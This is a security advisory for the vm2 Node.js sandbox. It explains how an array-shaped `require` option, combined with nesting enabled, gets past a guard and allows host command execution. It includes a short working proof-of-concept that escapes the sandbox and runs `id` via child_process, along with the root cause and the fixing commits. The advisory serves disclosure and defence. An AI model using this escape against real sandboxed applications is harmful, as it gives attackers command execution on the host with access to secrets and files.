GHSA-8hr7-r645-pc6w
vm2: NodeVM nesting guard accepts array-shaped require and permits host RCE
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
The `NodeVM` constructor computes `hasRealRequireConfig` using `typeof requireOpts === 'object' && requireOpts !== null`, so `require: []` bypasses the guard intended to reject `nesting` without an explicit require configuration. `makeResolverFromLegacyOptions()` then destructures the array to undefined option fields and returns a resolver containing only `NESTING_OVERRIDE.vm2`. Any attacker whose JavaScript is executed by a downstream `NodeVM` configured with `{nesting: true, require: []}` can load the host `vm2` module, create an inner `NodeVM` with an attacker-selected builtin allowlist, and execute commands as the host process. No equivalent plain-object validation exists in `makeResolverFromLegacyOptions()`.
Array is converted into the vm2-only resolver:
https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/resolver-compat.js#L205-L226
Nesting loader returns the host VM constructors:
https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L640-L645
## Proof of Concept
Preconditions:
- The host creates `NodeVM` with truthy `nesting` and array-shaped `require`.
- The attacker can supply JavaScript executed by that `NodeVM`.
```javascript
'use strict';
const {NodeVM} = require('./index.js');
const outer = new NodeVM({nesting: true, require: []});
const result = outer.run(`
const {NodeVM} = require('vm2');
const inner = new NodeVM({require: {builtin: ['child_process']}});
module.exports = inner.run(
"module.exports = require('child_process').execSync('id').toString()"
);
`);
console.log(result);
```
```text
uid=1000(lohar) gid=1000(lohar) groups=1000(lohar)
```
The `hasRealRequireConfig` guard fails open because it returns `true` for arrays, although arrays are not `VMRequire` configuration objects. `makeResolverFromLegacyOptions()` applies object destructuring to the array, obtains undefined `builtin` and `external` values, merges `NESTING_OVERRIDE`, and returns before any external-module control is relevant. Outer builtin restrictions do not constrain the attacker-created inner `NodeVM`, whose `require` configuration is selected inside the sandbox.
Failed shape check:
https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L304-L307
## Impact
An attacker can execute arbitrary commands with the host Node.js process privileges, including reading secrets, modifying files, and accessing the host network. GHSA-m4wx-m65x-ghrr covers the same nesting primitive but does not cover array-shaped `require` values and incorrectly identifies 3.11.4 as patched.
> Exploitation is limited to downstream applications that enable `nesting` and pass the malformed array configuration.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/patriksimek/vm2/security/advisories/GHSA-8hr7-r645-pc6w
- https://nvd.nist.gov/vuln/detail/CVE-2026-92935
- https://github.com/patriksimek/vm2/commit/05894eca1dc6a2b1a986f312c88255288a983d22
- https://github.com/patriksimek/vm2/commit/54b54b74a382577f0bcd0538c5bf99acdcd7f53b
- https://github.com/patriksimek/vm2
- https://github.com/patriksimek/vm2/releases/tag/v3.11.7
- https://www.vulncheck.com/advisories/vm2-nodevm-remote-code-execution-via-array-shaped-require